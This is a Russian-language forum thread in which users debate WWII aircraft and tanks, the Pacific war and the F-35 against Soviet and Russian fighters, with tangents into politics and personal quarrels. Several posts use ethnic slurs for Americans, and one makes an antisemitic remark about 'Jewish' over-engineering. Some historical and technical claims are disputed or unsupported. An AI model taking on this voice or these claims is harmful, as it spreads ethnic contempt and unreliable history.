Насчёт Зеро. Смотрел фильм Миядзаки "Ветер крепчает" ? О Хорикоши. Классный фильм.
Лучшего одного ничего не было и не бывает. Они все разные, один в своем лучший, другой в своём.
Як-3 три в самом деле почти как японец облегчали : даже лобовое бронестекло сняли.
А у зеро вес пустого получше ЯК-3. И дальность феноменальна.
Пунто шалит - я имел в виду ФВ-190 А.
Густав истребительный имею в виду. Его хвалит Хартман. Ведь не пересел он на ФВ.
Видимо горизонтальный разворот во вторую половину войны играл меньшую роль, чем вертикальная приемистость.
Не видел этот фильм. Хотя японское кино люблю
А Сталин, надо полагать, сделал бы японцев одной левой ?
Я такого про СССР не говорил, что одной левой прибили бы Японию
Сейчас Вики почитал. Там основные ссылки на Историю ВОВ, видимо 60-го года. Указывается, что у Квант армии было 1,4 млн штыков. И тут же в другой ссылке - 600 тыс.
Помню рассказ о захвате нашими одного небольшого острова. Там были мощные японские укрепления.
Наши молотили его несколько дней. Оказалось - японцы ушли.
И где проще воевать -когда у тебя сплошная линия фронта или боевые действия раскинуты на тысячах островов и на каждый из них нужно высаживать десант с моря или с воздуха... причём на укреплённые позиции врага. Вот Вам и все причины. Но главное- Американцы своих солдат и офицеров берегли, брали техникой, измором, умением, а не бросали поротно на пулемёты с одной винтовкой на троих, как это было не раз и в 1941 и в 1942 годах.
Кстати, если Вы смотрели "Говорящие с ветром"- там этот момент хорошо показан,-как при штурме Иводзимы по берегу лупит главный калибр американских линкоров. Умеют они снимать такие сцены- сукины дети!
Но с другой стороны отец в начале 50-х летал на ТУ-4... том самом что содрали 1:1 по Указу Сталина с интернированных американских Б-29 "Суперфортресс" и вот он говорил, что такого удобства и комфорта он нигде больше в нашей авиации не встречал,-даже унитазы стояли! Вакуумные.. это в то то время!
Так что кто как о своих солдатах заботился видно сразу.
А спросите что такое было во время войны пересесть с нашего Т-34 в американский "Шерман"... Вам те кто это прошёл расскажут!
Я вот пытаюсь ставить себя на место американцев тогда. О сильной радиоктивности не знал и Жуков в 1956 г. Просто сильная бомба, которая решит исход войны.
Идут на Джиографик фильмы-реконструкции отдельных боев. Бой за Иводзиму - это просто мясорубка. Или освобождение Филипинн. Не стоит Костя преуменьшать те битвы
Ну, вы во многом правы
Слово "русофобство" сегодня патриоты суют куда ни попадя...видя во всём заговор Госдепа... Вы вот этот подход маразмом не считаете, или Вам патриотизм не даёт? Ну лучше было у американцев с техникой,что с того,-не признавать этого теперь,что именно с В-29 скопировали ТУ-4 а не наоборот. Вопрос- Почему?
А унитаз всего лишь показатель отношения к человеку, как и пепельницы, которые тоже установили на ТУ-4 хотя( Вы как лётчик наверняка должны знать!) что на советских самолётах курить запрещалось!
Кстати Вы в полёте никогда животом не маялись,да так,что потом подштанники выкидывали через люк? А со многими такое случалось, а ведь памперсов тогда ещё не было. Их кстати тоже американец придумал!
Говорил я совсем не о том, но человеку никогда не летавшему в составе экипажа это понять невозможно. Запрещалось экипажу курить в пилотской кабине, потому что там члены экипажа дышат кислородом. Кстати, я - страстный противник курения где бы то ни было - этого пещерного маразма.
Техника у пендосов плоха именно своей иудейской "навороченностью" и в боевых условияж сами пендосы это понимали. Доходило до крайностей: во время вьетнвмской войны командование США было даже вынуждено издать приказ запрещающий своим солдатам воевать с оружием врага в руках. Дело в том, что они в массовом порядке бросали свои "накрученные" и навороченные М16 и подбирали возле убитых вьетконговцев наши автоматы АК47 - безотказные и предельно надёжные. Та же история была у немцев с их потугами скопировать наш Т-34. Зато они напоследок сляпали танк "Maus" (Мышонок) весом 206 тонн.
Часто приходится иметь дело с их техникой и всегда охота конструкторам набить морду за дебилизм. Это касается и распоследней Windows 10 - уродливой и бестолковой.
Никто наши операции не умаляет. Ни Сталинград, ни Курск.
Но один авианосец, Костя - это 5 тыс. танков.
Поподробнее, коллега. Я ОЛАГА закончил с вус "Штурман ВТА", но тогда уже штурманов не нужно было (1984/88)
Отец летал на разной технике и считал что лучшими,самыми удобными были всё же американцы.
Про Американский приказ о запрете применения Советского оружия- в студию, как и тщетные попытки немцев создать Т-34... Моё мнение о нём- классический советский образец производства-склёпан еле-еле, бывало что броня при крановой(четырёхточечной подвеске на траверсе) выгрузке лопалась по швам сварки, экипаж в случае попадания и пробоя брони- трупы, в случае пожара выскочить шансов нет. Грохот от движка( нет глушителей- из экономии) такой, что слышно за несколько километров...Пушка 44 года получше, стала точнее и пробивная сила снаряда выше-немцы заставили !
Про "Мышонка"- ну каждый считал что спасёт чудо... немцы танк делали, гитлерюгенд "фаустами" снабжали и на танки... наши в 41-м тоже многим "отличались"... Но в целом немецкая техника была очень хорошей по качеству и даже тем малым количеством оружия и техники что они имели с конца 1943 года(начало регулярной бомбёжки союзниками промышленных центров) воевали стойко .Это признают даже самые крайние патриоты прошедшие войну!
Единственное, что у меня и в мыслях не было - это хаять немцев, как солдат и как инженеров. Они достойны самой высшей похвалы. Вот только с Гитлером им не повезло.
А в ВВС на чем летали ?
А японцы - как и СССР. Солдат гне жалели. Только мотивация другая.
У американцев и сухопутные части в 4-ре раза оснащеннее наших. В фильмах есть критика, что они уже в 1942 г. не высадились во Франции. А ведь без искусственноргог порта и трубопровода с Англии по проливу любое наступление после высадки было бы невозможно. Нам же в голову вбивали, что они просто ждали - кто победит.
А потом - Аэрофлот и целая череда ильюшинских машин: немножко Ил-14, потом Ил-18 и наконец Ил-62 - пожалуй лучшая по надёжности машина в мире. Если не ошибаюсь - всего одна катастрофа и та по вине ЛС
Просто его цели были не против США, а против Европы. Танки здесь самый раз.
А вообще против авианосцев в СССР и много армейских было настроено. Ведь авианосные крейсера стали строить только в семидесятые
Служили в Прибалтике. Про ИЛ-28 рассказывали любовно. И как однажды боевую бомбу скинули на коровью ферму. Как-то уладили
Ну вашу нелюбовь к унитазу на борту можно объяснить вашим поколением. Да и средний бомбер этого не требует.
А вот его отсутствие на ТУ-95 до модели МС - это уже чисто совейский подход к человеку. Места ведь хватало.
И про Вьетнам вы здорово преувеличиваете. История известна. Первые патроны имели некачественный порох, затвор у М16 не имел ручного досылателя. И такие ситуации были - брали оружие врага.
Но быстро все исправили, научили солдат обслуживать винтовку. И уж никаких приказов точно не было.
Жтот миф не раз разобран и в инете, и на канале Оружие.
Хотя бы потому, что АК-47 имел другой калибр. Патроны взять где ?
А про Т-34 вы далеко от темы. Проблему решили еще в начале 1942 г., поставив пушку с длинным стволом и усилив броню башни. Более того - проходимость у нового Т-4 была лучше, чем у Т-34-85. При этом об отличной концепции Т-34 не стоит спорить. Но немцы не могли его строить в принципе, так как у них была другая концепция танков.
Честь имею.
То как были оснащены высаживающиеся войска в Нормендии для нас даже дико,но они так воевали и не скажу что хуже нас,по крайней мере всё продумывалось,хотя и не без осечек1
"патриоты" пеняют американев Арденнами и рассказывают сказки что Рузвельт с Черчиллем умоляли Сталина начать наступление на Берлин.Негодяи-псевдоисторики так и пишут.А всё для того,чтобы оправдать колоссальные потери на Зееловских высотах и несуразную гонку "за Берлин",который нужно было взять обязательно к 1 мая!
Ведь реально немцы уже к 5 января потеряли все шансы на успех и были практически в котле.
Сталин срочно начал наступление понимая,что при таком раскладе Западный фронт посыплется со дня на день,что собственно и случилось а там неизвестно как сложатся договорённости,если союзники дойдут до Берлина первыми.Вот и рванули на 2 недели раньше,чем положили пару сто тысяч наших солдат!
Фильмы посмотрю. Когда освобожусь
Правда, построил гиганстские (но малонужные) линкоры.
Со Сталиным был похож в этом
ОК !!
Но - отвлекла море сил у англичан. Очень много.
Видимо бомбы собирать :))
Они и их самих обещает туда забрать на будущий год. Там и будут вместе пиндосов ругать :))
Нет, им в Сев. Корею надо -- там по сей день Ил-28 на вооружении, и этих с тараканами в башке примут, тем более к Азии привычный.
Неимоверное сочетание мощности вооружения, ЛТХ, вообще красавец.
Он изгадит вам тут л ю б у ю тему. К России и к русским он имеет примерно такое же отношение, как мы с тобой к Юпитеру или Альфе Центавра, зато горло драть про "русофобию" и "потритизьм" за деньги -- готов целыми сутками.
Раньше всё в штаны. А лет 25 назад ему катетер поставили -- удобно.
Ненавидеть англосаксов, но поклоняться ему.
Наши, если что, едут в Польшу-Чехию. А ваши в Лондоне и в Лос-Анджелеса городки выстроили.
Это вот - в самом деле серьёзная проблема.
А насчёт отношения к американцам, ну что сказать... Тут годами тысячи умников любят поговорить с пренебрежением о том, что мол американцы не знают в массе своей, кто с кем во Второй мировой воевал, вплоть до того, что США против СССР, по мнению многих там... Ну ясное дело, гарлемские не в курсе.
Так вот, сутки уже беседую с человеко гораздо старше и тебя, и меня... И он всерьёз меня здесь долго уверял, что Япония вообще не воевала в Первой мировой, потому что "ПМВ в Европе, а Япония это Азия"... Иной раз не знаешь, то ли здесь смеяться, то ли уже поздно... Да ещё и кричит пренебрежительно мол "учи историю" :)))
Андрей, тут уже настолько много откровенно невменяемых, что всерьёз относиться к нахождению здесь -- ну просто невозможно... Куда дальше -- семидесятилетние тролли-психопаты наводнили рунет, и ВСЕ они "готовы воевать" ?
Нельзя думать, что это лишь здесь такое. Это ВЕЗДЕ. Насколько у людей сбили скобу, это ужас..
А если вспомнить, что 30% считают - Солнце вращается вокруг Земли, становится реально страшно....
Уж что им не надо - так это война.
А США себя мировым полицейским всегда чувствует. Но F-35 делался как замена многообразия (Харриера, F-16, 15, 18)/ Как бы хотели сэкономить.
риторически я... уже скатились....
Мир Плутон исследует. Мир на кометы садится. Индия-Китай пилотируемые полеты готовят....
в РФ возросли продажи самогонных аппаратов.)
А ты, Костя, признаешь себя нерусским ?
ПАК - перспективный авиакомплекс. Т-50. Русский стелс
Неохота спорить ни о чём. Всё сам знаешь, как и все знаем.
Технологическое развитие одновременно со значительной деградацией во многих сферах.
А деградация ? Да к примеру в политических системах многих стран.
Коррупция тоже явление не только "восточное" (условно) и "российское" (условно).
Многие говорят о серьёзной деградации в сфере морали.
И не в том смысле, про который здесь все маразматики воют годами (в реальности не понимая о чём и зачем).
Одно насилие против детей чего стОит - и чужих и своих.
Впрочем, коррупция это тоже в моральной сфере.
В этнических и меж этн., в конфессиональных и межконф. отношениях...
Войн сколько, да каких.
В образовании.
Что же это всё такое, если не деградация.
Явно не из Самары :)
Понятное дело, у них традиционно коррупция выше, чем у многих.
Но т а к о е... Это явно не из новейшей истории, Ливий Друз вместе с Цицероном отдыхают :))
http://go.mail.ru/search_images?q=%D0%B1%D0%B5%D1%80%D0%BB%D1%83%D1%81%D0%BA%D0%BE%D0%BD%D0%B8&fr=web#urlhash=1075975364685223746
Технологии сами - чьи?
2. Коррупция есть везде. Но ты слышал слово - уровень? Уровень в дем странах на порядки ниже, чем в авторитарных.
3. Насилие против детей? Тебе что, статистику дать? Что за фигня, Костя?
4. Образование деградирует, а на Плутон летают, айфоны выдумывают и т.п?!
5. Войн стало куда как меньше. И пригасить еще несколько очагов (что будет скоро сделано), на планете наконец наступит мир.
Я беру примеры с развитых стран, ты - с утырков.
КНДР - деградирует. Они еще сто лет такими будут. Но они погоду на планете делают?
Здесь об авиации. Хочешь говорить -- давай о ней.
А почему они против ? Вроде ваыучка
А сам такой биатлон ценен ?
Я в полном обалде :(((
Потом пытался хоть как-нибудь в сознание привести. Но нет. Критика у него утрачена полностью.
Мало того, стал меня учить истории авиации.
Этот дедушко настоящий русский славянин 100 %.
http://maxpark.com/community/politic/content/3638596#comment_47922674
Мы вроде не окианская держава
Тоже внешний вид кажется неказистым. Но проект довели до ума.
Но. В СССР от Як 141 отказались неспроста. Сказки про JSF в том виде как тут расписано - можно рассказывать сколько угодно.
Расскажу, что мне нравится: Вентилятор на подъем. Идея - годная. Правда получилось это тяжелее, и менее эффективно, чем Яковлевская схема с подъемными пихлами - но не суть, когда нибудь это будет доведено.
"Дешевизна" - прототипом(ну или идейным вдохновителем) был выбран именно Яковлевский проект, слитый пиндонезии. Яковлевское КБ ВСЕГДА проектировало обалденные и ДЕШЕВЫЕ крафты.Но - пиндосы и тот обделались.НИОКР по этому литаку - превысил по стоимости все мыслимое. По ЛТХ - 35 лажает практически любому самолету 4+ с "нормальным взлетом", что нимало не удивительно. Но - "делает" пока любой крафт с ВВП. ЧТо тоже неудивительно. Отсутствие катастроф\критичных аварий при "доводке" несомненный плюс.
Ну и по загрузке - у него все сносно. Мои коллеги-патриоты если сейчас начнут его сравнивать с Т-50 - облажаются. Разные весовые категории.
Ща обжую минусы. ПО комментам разного рода поцев пробегусь сначала :)
Подтвердишь чем-то, что "слили" американцам эту систему в 90-е ? Естественно, не патриотическими сайтами.
Что до неважных данных стелса. Возьми основные параметры и сравни с МИГ-29 или с СУ-30.
Касаемо пруфов и т.д - Коля, как только ты мне предоставишь линк на закрытую документацию Локхид Мартин - я тебе найду там инфу о сделке. :)
О "данных стелса" - что ты имеешь ввиду? Малозаметность? Я об ей не упоминал вообще. А ЛТХ - давай посравниваем. Суховские машины в сравнении участвовать не будут, ибо опять же разные весовые категории. Берем МиГ 29 СМТ. Все ближе по массе. Скорость - ф 35 1900, МиГ 29СМТ - 2450. Перегрузки: Ф 35 от 7.5 до 9 (последняя - без варианта вертикального взлета) МиГ29 СМТ - 9 (во всех модификациях).
Тяговооруженность при нормальной массе: Ф 35 - от 0.70 до 0.81 (от модификации) МиГ 29 СМТ - 1.09.
Куды бечь, Коля?
Тяговооруженность больше. А сверхзвук на крейсерской может только стелс.
Больший радиус действия, как минимум на тонну больше оружия.
Оружие у него поновее. Есть система оптического распознавания, может пулять ракету во врага летя вперед, когда враг сзади. Напичкан много лучше.
Ну и сам стелс - уже оружие.
Впрочем.
Раз Россия и Китай гонятся за США, строя стелсы (а это безумно дорого), то эксперты сочли, что он лучше 4+.
А вот кто с кем будет воевать.... Скорее всего, F-35 со всеми - и тяжелыми, и легкими. Меряться все равно будут радарами и ракетами. А радары там лучше
F 35 скорее всего будет избегать замесов с Суховскими машинами. Шансов нет.
Тяговооруженность, скорость, перегрузки.
Современные ракеты - пиндонезийские по характеристикам "делают" на раз уже. Другой вопрос что их запас недостаточен - так это решаемо
Ну да ладно
А то, что контактных боев а-ля-ВОВ больше не будет - ясно.
Но опять же, различие не сильное, потому что вот посмотрите какая машина и пилотаж
https://www.youtube.com/watch?v=z92CUQK2nwQ